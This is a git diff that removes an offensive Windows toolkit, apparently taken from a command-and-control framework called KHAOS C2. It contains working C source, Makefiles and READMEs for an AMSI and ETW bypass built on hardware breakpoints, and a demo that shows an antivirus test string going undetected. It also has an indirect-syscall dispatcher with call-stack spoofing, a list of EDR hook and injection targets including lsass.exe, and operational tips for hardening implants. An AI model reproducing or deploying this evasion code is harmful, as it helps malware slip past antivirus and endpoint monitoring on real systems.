NtWaitForSingleObject fn_NtWaitForSingleObject
|
||||
NtProtectVirtualMemory fn_NtPVM
|
||||
|
||||
# ntdll helpers
|
||||
RtlCaptureContext fn_RtlCaptureContext
|
||||
RtlUserThreadStart fn_RtlUserThreadStart
|
||||
|
||||
# ETW / AMSI targets (EDR hooks these)
|
||||
EtwEventWrite fn_EtwEventWrite
|
||||
EtwTiLogOpenProcess fn_EtwTiLogOpenProcess
|
||||
EtwTiLogReadWriteVm fn_EtwTiLogReadWriteVm
|
||||
EtwTiLogDuplicateHandle fn_EtwTiLogDuplicateHandle
|
||||
AmsiScanBuffer fn_AmsiScanBuffer
|
||||
AmsiScanString fn_AmsiScanString
|
||||
|
||||
# Common process names (injection targets)
|
||||
svchost.exe str_svchost
|
||||
explorer.exe str_explorer
|
||||
lsass.exe str_lsass
|
||||
RuntimeBroker.exe str_RuntimeBroker
|
||||
|
||||
# Privilege names
|
||||
SeDebugPrivilege str_SeDebugPrivilege
|
||||
SeImpersonatePrivilege str_SeImpersonatePrivilege
|
||||
@@ -1,27 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
LDFLAGS = -lamsi
|
||||
|
||||
SRC = src/hwbp_evasion.c src/demo.c
|
||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
||||
TARGET = build/demo.exe
|
||||
|
||||
all: build $(TARGET)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
build/%.o: src/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -1,120 +0,0 @@
|
||||
# hwbp-evasion
|
||||
|
||||
ETW and AMSI bypass using hardware breakpoints and a Vectored Exception Handler (VEH). No patching, no memory writes to protected regions — the breakpoints live entirely in CPU debug registers.
|
||||
|
||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
||||
|
||||
---
|
||||
|
||||
## How it works
|
||||
|
||||
x64 debug registers `Dr0`–`Dr3` can each watch an address for execution. When the CPU hits a watched address, it raises `EXCEPTION_SINGLE_STEP` before executing the instruction. A VEH registered as the first handler in the chain intercepts that exception, manipulates the thread context, and returns `EXCEPTION_CONTINUE_EXECUTION` — the original function never executes.
|
||||
|
||||
```
|
||||
hwbp_patch_all()
|
||||
|
|
||||
+-> resolve EtwEventWrite -> Dr0
|
||||
+-> resolve AmsiScanBuffer -> Dr1
|
||||
+-> resolve AmsiScanString -> Dr2
|
||||
+-> set Dr7 local enable bits
|
||||
+-> AddVectoredExceptionHandler(1, _hwbp_veh) <- first in chain
|
||||
|
||||
[AV calls AmsiScanBuffer]
|
||||
|
|
||||
+-> CPU fires EXCEPTION_SINGLE_STEP (Dr1 match)
|
||||
|
|
||||
+-> _hwbp_veh()
|
||||
Rax = E_INVALIDARG (0x80070057)
|
||||
Rip = [Rsp] <- skip to caller's return address
|
||||
Rsp += 8
|
||||
Dr6 &= ~0x2 <- clear B1 status bit
|
||||
return EXCEPTION_CONTINUE_EXECUTION
|
||||
|
||||
[AmsiScanBuffer never executed — caller sees E_INVALIDARG]
|
||||
```
|
||||
|
||||
Same logic for `EtwEventWrite` (returns `STATUS_SUCCESS`) and `AmsiScanString` (returns `E_INVALIDARG`).
|
||||
|
||||
---
|
||||
|
||||
## Why hardware breakpoints
|
||||
|
||||
Compared to memory patching (`mov rax, ret`) or inline hooks:
|
||||
|
||||
- **No writes to protected pages** — no `VirtualProtect` calls that EDR hooks watch
|
||||
- **No detectable byte modifications** in ntdll or amsi.dll — memory integrity scans find nothing
|
||||
- **Per-thread** — debug registers are thread-local, so the bypass only applies to threads where `hwbp_apply_thread` is called
|
||||
- **Revocable at runtime** — clear Dr7 bits to disable without touching any DLL
|
||||
|
||||
The tradeoff: Dr0–Dr3 are also used by debuggers and some EDR products. If a debugger owns those registers, conflicts can occur.
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
```c
|
||||
void hwbp_patch_etw(void); // arm Dr0 -> EtwEventWrite
|
||||
void hwbp_patch_amsi(void); // arm Dr1 -> AmsiScanBuffer, Dr2 -> AmsiScanString
|
||||
void hwbp_patch_all(void); // arm all three
|
||||
|
||||
void hwbp_apply_thread(HANDLE ht); // propagate active breakpoints to another thread
|
||||
```
|
||||
|
||||
`hwbp_apply_thread` is useful when spawning new threads (e.g. the timer thread in sleep obfuscation) that will also call ETW-instrumented code.
|
||||
|
||||
---
|
||||
|
||||
## Integration with sleep-obf
|
||||
|
||||
The `.run` section attribute on `_hwbp_veh` keeps the handler executable when `.text` is `PAGE_NOACCESS` during obfuscated sleep:
|
||||
|
||||
```c
|
||||
// in your sleep callback, before encrypting .text:
|
||||
g_sleep_obf_thread_hook = hwbp_apply_thread;
|
||||
sleep_obf(5000);
|
||||
```
|
||||
|
||||
This ensures the timer thread also has the breakpoints armed and won't trigger ETW during sleep.
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
make
|
||||
./build/demo.exe
|
||||
```
|
||||
|
||||
Expected output (on a system with AMSI loaded):
|
||||
|
||||
```
|
||||
[*] without bypass:
|
||||
[before] hr=0x00000000 result=32 detected=YES
|
||||
[*] arming HWBP bypass...
|
||||
[+] armed
|
||||
[*] with bypass:
|
||||
[after ] hr=0x80070057 result=0 detected=no
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
- x64 only.
|
||||
- Debug registers are thread-local. Call `hwbp_apply_thread` for every thread that needs the bypass.
|
||||
- Some EDR products monitor `SetThreadContext` calls that modify debug registers. The call on `GetCurrentThread()` is less visible than cross-thread calls.
|
||||
- If a kernel-mode ETW provider (`EtwTi*`) is active, this bypass does not cover it. See the ntdll-unhook technique for `EtwTiLogOpenProcess` / `EtwTiLogReadWriteVm` / `EtwTiLogDuplicateHandle`.
|
||||
|
||||
---
|
||||
|
||||
## Operational notes
|
||||
|
||||
This PoC uses plaintext strings and `GetModuleHandleA`. In production:
|
||||
|
||||
- Resolve modules via PEB walk (`__readgsqword(0x60)`)
|
||||
- Encrypt string literals at compile time
|
||||
- Use `LoadLibraryA` only if amsi.dll is not already in the PEB module list — calling `LoadLibraryA` itself is a detectable event
|
||||
|
||||
---
|
||||
|
||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
||||
@@ -1,18 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* hwbp_patch_etw() — arm Dr0 on EtwEventWrite
|
||||
* hwbp_patch_amsi() — arm Dr1 on AmsiScanBuffer, Dr2 on AmsiScanString
|
||||
* hwbp_patch_all() — arm all three (ETW + AMSI)
|
||||
*
|
||||
* Each call is idempotent — safe to call multiple times.
|
||||
* Registers a VEH handler on first call.
|
||||
*
|
||||
* hwbp_apply_thread(ht) — propagate active breakpoints to another thread
|
||||
* (e.g. a timer thread created during sleep obfuscation)
|
||||
*/
|
||||
void hwbp_patch_etw(void);
|
||||
void hwbp_patch_amsi(void);
|
||||
void hwbp_patch_all(void);
|
||||
void hwbp_apply_thread(HANDLE hThread);
|
||||
@@ -1,83 +0,0 @@
|
||||
#include "hwbp_evasion.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* AMSI types — no amsi.h dependency */
|
||||
typedef void *HAMSICONTEXT;
|
||||
typedef void *HAMSISESSION;
|
||||
typedef int AMSI_RESULT;
|
||||
#define AMSI_RESULT_CLEAN 0
|
||||
#define AMSI_RESULT_DETECTED 32768
|
||||
|
||||
typedef HRESULT (WINAPI *AmsiInitialize_t) (LPCWSTR, HAMSICONTEXT *);
|
||||
typedef HRESULT (WINAPI *AmsiOpenSession_t) (HAMSICONTEXT, HAMSISESSION *);
|
||||
typedef HRESULT (WINAPI *AmsiScanBuffer_t) (HAMSICONTEXT, void *, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT *);
|
||||
typedef void (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION);
|
||||
typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT);
|
||||
|
||||
static struct {
|
||||
AmsiInitialize_t Init;
|
||||
AmsiOpenSession_t OpenSession;
|
||||
AmsiScanBuffer_t ScanBuffer;
|
||||
AmsiCloseSession_t CloseSession;
|
||||
AmsiUninitialize_t Uninit;
|
||||
} amsi;
|
||||
|
||||
static int load_amsi(void)
|
||||
{
|
||||
HMODULE h = LoadLibraryA("amsi.dll");
|
||||
if (!h) return 0;
|
||||
amsi.Init = (AmsiInitialize_t) GetProcAddress(h, "AmsiInitialize");
|
||||
amsi.OpenSession = (AmsiOpenSession_t) GetProcAddress(h, "AmsiOpenSession");
|
||||
amsi.ScanBuffer = (AmsiScanBuffer_t) GetProcAddress(h, "AmsiScanBuffer");
|
||||
amsi.CloseSession = (AmsiCloseSession_t)GetProcAddress(h, "AmsiCloseSession");
|
||||
amsi.Uninit = (AmsiUninitialize_t)GetProcAddress(h, "AmsiUninitialize");
|
||||
return amsi.Init && amsi.ScanBuffer;
|
||||
}
|
||||
|
||||
static void test_amsi(const char *label)
|
||||
{
|
||||
HAMSICONTEXT ctx = NULL;
|
||||
HAMSISESSION ses = NULL;
|
||||
|
||||
if (FAILED(amsi.Init(L"hwbp-demo", &ctx))) {
|
||||
printf("[%s] AmsiInitialize failed\n", label);
|
||||
return;
|
||||
}
|
||||
amsi.OpenSession(ctx, &ses);
|
||||
|
||||
/* EICAR test string — blocked by every AV engine */
|
||||
const char eicar[] =
|
||||
"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
|
||||
|
||||
AMSI_RESULT result = AMSI_RESULT_CLEAN;
|
||||
HRESULT hr = amsi.ScanBuffer(ctx, (void *)eicar, (ULONG)(sizeof(eicar) - 1),
|
||||
L"eicar", ses, &result);
|
||||
|
||||
printf("[%s] hr=0x%08lX result=%d detected=%s\n",
|
||||
label, (unsigned long)hr, (int)result,
|
||||
result >= AMSI_RESULT_DETECTED ? "YES" : "no");
|
||||
|
||||
amsi.CloseSession(ctx, ses);
|
||||
amsi.Uninit(ctx);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
if (!load_amsi()) {
|
||||
printf("[!] amsi.dll not available\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[*] without bypass:\n");
|
||||
test_amsi("before");
|
||||
|
||||
printf("[*] arming HWBP (ETW + AMSI)...\n");
|
||||
hwbp_patch_all();
|
||||
printf("[+] armed Dr0=EtwEventWrite Dr1=AmsiScanBuffer Dr2=AmsiScanString\n");
|
||||
|
||||
printf("[*] with bypass:\n");
|
||||
test_amsi("after ");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,128 +0,0 @@
|
||||
#include "hwbp_evasion.h"
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* PoC note: uses GetModuleHandleA/LoadLibraryA/GetProcAddress with plaintext
|
||||
* strings. In production, replace with a PEB walk and encrypted string storage.
|
||||
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
|
||||
*/
|
||||
|
||||
static LPVOID g_etw_fn = NULL; /* EtwEventWrite -> Dr0 */
|
||||
static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer -> Dr1 */
|
||||
static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString -> Dr2 */
|
||||
static PVOID g_veh = NULL;
|
||||
|
||||
/*
|
||||
* VEH handler — must live in a section other than .text so it keeps executing
|
||||
* if .text is PAGE_NOACCESS during sleep obfuscation (see sleep-obf technique).
|
||||
*
|
||||
* On EXCEPTION_SINGLE_STEP at a watched address:
|
||||
* EtwEventWrite -> Rax = STATUS_SUCCESS (0) -> ETW call silently succeeds
|
||||
* AmsiScanBuffer -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
|
||||
* AmsiScanString -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
|
||||
*
|
||||
* Rip is advanced past the call by reading the return address off the stack,
|
||||
* and the corresponding Bx status bit in Dr6 is cleared.
|
||||
*/
|
||||
__attribute__((section(".run"), noinline))
|
||||
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
|
||||
{
|
||||
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
|
||||
CONTEXT *ctx = ep->ContextRecord;
|
||||
BOOL handled = FALSE;
|
||||
|
||||
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
|
||||
ctx->Rax = 0;
|
||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x1;
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
|
||||
ctx->Rax = 0x80070057;
|
||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x2;
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
|
||||
ctx->Rax = 0x80070057;
|
||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x4;
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
static void _ensure_veh(void)
|
||||
{
|
||||
if (!g_veh)
|
||||
g_veh = AddVectoredExceptionHandler(1, _hwbp_veh);
|
||||
}
|
||||
|
||||
/* Write Dr0/Dr1/Dr2/Dr7 on a thread via GetThreadContext/SetThreadContext */
|
||||
void hwbp_apply_thread(HANDLE hThread)
|
||||
{
|
||||
if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return;
|
||||
|
||||
CONTEXT ctx;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!GetThreadContext(hThread, &ctx)) return;
|
||||
|
||||
if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
|
||||
if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
|
||||
if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
|
||||
|
||||
/*
|
||||
* Dr7 encoding:
|
||||
* Bits 0,2,4 = local enable for Dr0, Dr1, Dr2
|
||||
* Clear bits [15:0] first to reset any existing conditions,
|
||||
* then set only the breakpoints we have targets for.
|
||||
*/
|
||||
ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
|
||||
ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
|
||||
ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
|
||||
ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
|
||||
|
||||
SetThreadContext(hThread, &ctx);
|
||||
}
|
||||
|
||||
void hwbp_patch_etw(void)
|
||||
{
|
||||
if (!g_etw_fn) {
|
||||
HMODULE h = GetModuleHandleA("ntdll.dll");
|
||||
if (h) g_etw_fn = (LPVOID)GetProcAddress(h, "EtwEventWrite");
|
||||
}
|
||||
_ensure_veh();
|
||||
hwbp_apply_thread(GetCurrentThread());
|
||||
}
|
||||
|
||||
void hwbp_patch_amsi(void)
|
||||
{
|
||||
if (!g_amsi_fn || !g_amsi_scan_fn) {
|
||||
/* amsi.dll may not be loaded yet — force load it */
|
||||
HMODULE h = GetModuleHandleA("amsi.dll");
|
||||
if (!h) h = LoadLibraryA("amsi.dll");
|
||||
if (h) {
|
||||
if (!g_amsi_fn)
|
||||
g_amsi_fn = (LPVOID)GetProcAddress(h, "AmsiScanBuffer");
|
||||
if (!g_amsi_scan_fn)
|
||||
g_amsi_scan_fn = (LPVOID)GetProcAddress(h, "AmsiScanString");
|
||||
}
|
||||
}
|
||||
_ensure_veh();
|
||||
hwbp_apply_thread(GetCurrentThread());
|
||||
}
|
||||
|
||||
void hwbp_patch_all(void)
|
||||
{
|
||||
hwbp_patch_etw();
|
||||
hwbp_patch_amsi();
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
LDFLAGS = -lntdll
|
||||
|
||||
SRC_C = src/indirect_syscall.c src/demo.c
|
||||
SRC_S = src/spoof_stub.S
|
||||
OBJ_C = $(patsubst src/%.c, build/%.o, $(SRC_C))
|
||||
OBJ_S = $(patsubst src/%.S, build/%.o, $(SRC_S))
|
||||
OBJ = $(OBJ_C) $(OBJ_S)
|
||||
TARGET = build/demo.exe
|
||||
|
||||
all: build $(TARGET)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
build/%.o: src/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
build/%.o: src/%.S
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -1,195 +0,0 @@
|
||||
# indirect-syscalls
|
||||
|
||||
Indirect syscalls with Hell's Gate + Halo's Gate SSN resolution and 2-frame call-stack spoofing for Windows x64.
|
||||
|
||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
||||
|
||||
---
|
||||
|
||||
## What this solves
|
||||
|
||||
EDR products hook userland syscall stubs in ntdll by overwriting their first bytes with a JMP to a monitoring trampoline:
|
||||
|
||||
```
|
||||
NtOpenProcess (hooked):
|
||||
E9 xx xx xx xx JMP <edr_hook>
|
||||
...
|
||||
|
||||
NtOpenProcess (clean):
|
||||
4C 8B D1 mov r10, rcx
|
||||
B8 26 00 00 00 mov eax, 0x26 ; SSN
|
||||
0F 05 syscall
|
||||
C3 ret
|
||||
```
|
||||
|
||||
Two problems to solve:
|
||||
|
||||
1. **SSN recovery** — the `mov eax` is gone; we need to find the real syscall number.
|
||||
2. **syscall origin** — even with the right SSN, a `syscall` instruction in our own code is flagged by telemetry that checks the source module. The instruction must appear to come from ntdll.
|
||||
|
||||
---
|
||||
|
||||
## How it works
|
||||
|
||||
### SSN resolution
|
||||
|
||||
**Hell's Gate** (unhooked stub):
|
||||
|
||||
```
|
||||
fn[0..3] == 4C 8B D1 B8 → SSN = *(uint16_t *)(fn + 4)
|
||||
```
|
||||
|
||||
**Halo's Gate** (hooked stub — JMP trampoline at fn[0]):
|
||||
|
||||
Walk ntdll's EAT to find the position of `name` in the sorted name table, then scan neighbors ±32 positions for a clean `4C 8B D1 B8` stub. Since Nt* syscalls are numbered in sorted-name order, a clean neighbor at distance `d` has `SSN ± d`:
|
||||
|
||||
```
|
||||
for d in 1..32:
|
||||
neighbor_at(idx - d) → SSN = neighbor_ssn + d
|
||||
neighbor_at(idx + d) → SSN = neighbor_ssn - d
|
||||
```
|
||||
|
||||
### Indirect syscall gadget
|
||||
|
||||
Scan ntdll `.text` for the byte sequence `0F 05 C3` (`syscall; ret`). Any Nt* stub contains it. Jumping into this gadget makes ETW telemetry record the source as ntdll, not our implant.
|
||||
|
||||
### Call-stack spoofing
|
||||
|
||||
Before the jump to the gadget, two fake return addresses are pushed onto the stack:
|
||||
|
||||
```
|
||||
[rsp+0x00] = ret in KernelBase .text ← inner spoof frame
|
||||
[rsp+0x08] = ret in ntdll .text ← outer spoof frame
|
||||
[rsp+0x10] = real return address (our code)
|
||||
```
|
||||
|
||||
Stack walk during the syscall shows:
|
||||
```
|
||||
NtXxx → KernelBase!<somewhere> → ntdll!<somewhere> → [our code]
|
||||
```
|
||||
|
||||
Rather than:
|
||||
```
|
||||
NtXxx → [our code] ← obvious
|
||||
```
|
||||
|
||||
### Argument remapping (`spoof_stub.S`)
|
||||
|
||||
Windows x64 calling convention → Nt* ABI:
|
||||
|
||||
```
|
||||
rcx (ssn) → eax (syscall number)
|
||||
rdx (a1) → r10 (first Nt* arg — Nt* stubs do: mov r10,rcx; then syscall clobbers rcx)
|
||||
r8 (a2) → rdx
|
||||
r9 (a3) → r8
|
||||
[+0x28] a4 → r9
|
||||
[+0x28..0x58]: a5..a11 shifted down by 0x10 to account for the 2 pushed spoof frames
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
```c
|
||||
#include "indirect_syscall.h"
|
||||
|
||||
// Initialize — find gadgets. Call once before sc_ssn/sc_call.
|
||||
// Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
|
||||
int sc_init(void);
|
||||
|
||||
// Resolve SSN for any Nt* function.
|
||||
// Hell's Gate if stub is clean; Halo's Gate if hooked.
|
||||
// Returns 0xFFFF on failure.
|
||||
uint16_t sc_ssn(const char *name);
|
||||
|
||||
// Indirect syscall with call-stack spoofing.
|
||||
// Caller must zero unused trailing args.
|
||||
NTSTATUS sc_call(uint16_t ssn,
|
||||
uintptr_t a1, uintptr_t a2, uintptr_t a3,
|
||||
uintptr_t a4, uintptr_t a5, uintptr_t a6,
|
||||
uintptr_t a7, uintptr_t a8, uintptr_t a9,
|
||||
uintptr_t a10, uintptr_t a11);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```c
|
||||
sc_init();
|
||||
|
||||
uint16_t ssn = sc_ssn("NtAllocateVirtualMemory");
|
||||
|
||||
HANDLE proc = (HANDLE)(LONG_PTR)-1;
|
||||
PVOID base = NULL;
|
||||
SIZE_T sz = 0x1000;
|
||||
|
||||
NTSTATUS st = sc_call(ssn,
|
||||
(uintptr_t)proc,
|
||||
(uintptr_t)&base,
|
||||
0,
|
||||
(uintptr_t)&sz,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
0, 0, 0, 0, 0);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
Requires MinGW-w64 cross-compiler.
|
||||
|
||||
```bash
|
||||
make
|
||||
./build/demo.exe
|
||||
```
|
||||
|
||||
Expected output:
|
||||
|
||||
```
|
||||
[+] sc_gadget = 00007ffe2fd9fbe2 (syscall;ret in ntdll .text)
|
||||
[+] sc_frame1 = 00007ffe2d2031c9 (KernelBase ret gadget)
|
||||
[+] sc_frame2 = 00007ffe2fc441d9 (ntdll ret gadget)
|
||||
|
||||
[*] SSN NtAllocateVirtualMemory = 0x0018
|
||||
[*] SSN NtProtectVirtualMemory = 0x0050
|
||||
[*] SSN NtFreeVirtualMemory = 0x001E
|
||||
[*] SSN NtWriteVirtualMemory = 0x003A
|
||||
[*] SSN NtOpenProcess = 0x0026
|
||||
|
||||
[+] NtAllocateVirtualMemory: base=... sz=0x1000 st=0x00000000
|
||||
[+] NtProtectVirtualMemory: st=0x00000000 old_prot=0x4
|
||||
[*] VirtualQuery Protect = 0x20 (expected 0x20 = PAGE_EXECUTE_READ)
|
||||
[+] page is PAGE_EXECUTE_READ — indirect syscalls working correctly
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
- x64 only.
|
||||
- Halo's Gate scans ±32 neighbors. If all 64 neighbors are hooked (uncommon), SSN resolution fails and `sc_ssn()` returns `0xFFFF`.
|
||||
- Call-stack spoofing is 2 frames deep. A thorough stack inspection (unwind data validation, module range checks) will see our code at `[rsp+0x10]`. Full synthetic stack spoofing requires building proper unwind data and a complete ROP frame chain — out of scope for this PoC.
|
||||
- `sc_ssn()` uses `strcmp` on EAT names, which are ASCII and sorted. This is standard EAT iteration with no obfuscation — replace with a hash walk in production.
|
||||
- Gadget addresses change on every reboot (ASLR). `sc_init()` must be called in-process.
|
||||
|
||||
---
|
||||
|
||||
## Operational notes
|
||||
|
||||
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
|
||||
|
||||
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules.
|
||||
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
|
||||
- Call `sc_init()` early — before EDR DLLs load via `DLL_PROCESS_ATTACH` if possible.
|
||||
|
||||
The `sc_gadget` address can be cached; it points into ntdll `.text` which is stable within a process lifetime (even after ntdll unhooking, the `syscall;ret` bytes remain).
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
Technique originally described by [Hell's Gate](https://github.com/am0nsec/HellsGate) (am0nsec / smelly__vx) and extended by [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) (Sektor7). Call-stack spoofing approach from [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) (klezVirus). This implementation integrates all three into a single compact dispatcher.
|
||||
|
||||
---
|
||||
|
||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,54 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
|
||||
* In production, replace with a PEB walk and EVS XOR string obfuscation.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Pointers used by spoof_stub.S — must be initialized by sc_init().
|
||||
* sc_gadget : syscall;ret sequence inside ntdll .text
|
||||
* sc_frame1 : single `ret` in KernelBase .text (inner spoof frame)
|
||||
* sc_frame2 : single `ret` in ntdll .text (outer spoof frame)
|
||||
*/
|
||||
extern void *sc_gadget;
|
||||
extern void *sc_frame1;
|
||||
extern void *sc_frame2;
|
||||
|
||||
/*
|
||||
* sc_init() — find gadgets, must be called once before sc_ssn/sc_call.
|
||||
* Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
|
||||
*/
|
||||
int sc_init(void);
|
||||
|
||||
/*
|
||||
* sc_ssn(name) — resolve the syscall number for an Nt* function.
|
||||
*
|
||||
* Hell's Gate : stub starts with `4C 8B D1 B8 xx xx` → read SSN directly.
|
||||
* Halo's Gate : stub hooked (JMP trampoline) → walk EAT for a clean neighbor,
|
||||
* then compute SSN by adjusting the neighbor's SSN by the delta.
|
||||
*
|
||||
* Returns 0xFFFF on failure.
|
||||
*/
|
||||
uint16_t sc_ssn(const char *name);
|
||||
|
||||
/*
|
||||
* sc_call(ssn, a1..a11) — indirect syscall dispatcher.
|
||||
*
|
||||
* - Jumps to a `syscall;ret` gadget inside ntdll .text (not our own code).
|
||||
* - Pushes two fake return addresses onto the stack before the jmp:
|
||||
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text)
|
||||
* [rsp+0x08] = sc_frame2 (ret in ntdll .text)
|
||||
* Stack walk during the syscall shows: Nt* → KernelBase → ntdll → caller.
|
||||
* - Remaps arguments to Windows Nt* ABI (r10=a1, rdx=a2, r8=a3, r9=a4,
|
||||
* a5..a11 on stack at [rsp+0x28..]).
|
||||
*
|
||||
* Caller must zero unused trailing args.
|
||||
*/
|
||||
extern NTSTATUS sc_call(uint16_t ssn,
|
||||
uintptr_t a1, uintptr_t a2, uintptr_t a3,
|
||||
uintptr_t a4, uintptr_t a5, uintptr_t a6,
|
||||
uintptr_t a7, uintptr_t a8, uintptr_t a9,
|
||||
uintptr_t a10, uintptr_t a11);
|
||||
@@ -1,117 +0,0 @@
|
||||
#include "indirect_syscall.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
* Demo: allocate a page via indirect NtAllocateVirtualMemory, write bytes,
|
||||
* flip to PAGE_EXECUTE_READ via indirect NtProtectVirtualMemory, verify.
|
||||
*
|
||||
* On an EDR-hooked system, sc_ssn() uses Halo's Gate to recover the real SSN
|
||||
* even when the syscall stub starts with a JMP trampoline.
|
||||
*/
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] sc_init()...\n");
|
||||
if (sc_init() != 0) {
|
||||
printf("[!] sc_init failed — no syscall;ret gadget found in ntdll .text\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] sc_gadget = %p (syscall;ret in ntdll .text — indirect jmp target)\n",
|
||||
sc_gadget);
|
||||
printf("[+] sc_frame1 = %p (KernelBase ret gadget — inner spoof frame)\n",
|
||||
sc_frame1);
|
||||
printf("[+] sc_frame2 = %p (ntdll ret gadget — outer spoof frame)\n\n",
|
||||
sc_frame2);
|
||||
|
||||
/* Resolve SSNs */
|
||||
uint16_t ssn_alloc = sc_ssn("NtAllocateVirtualMemory");
|
||||
uint16_t ssn_prot = sc_ssn("NtProtectVirtualMemory");
|
||||
uint16_t ssn_free = sc_ssn("NtFreeVirtualMemory");
|
||||
uint16_t ssn_write = sc_ssn("NtWriteVirtualMemory");
|
||||
uint16_t ssn_open = sc_ssn("NtOpenProcess");
|
||||
|
||||
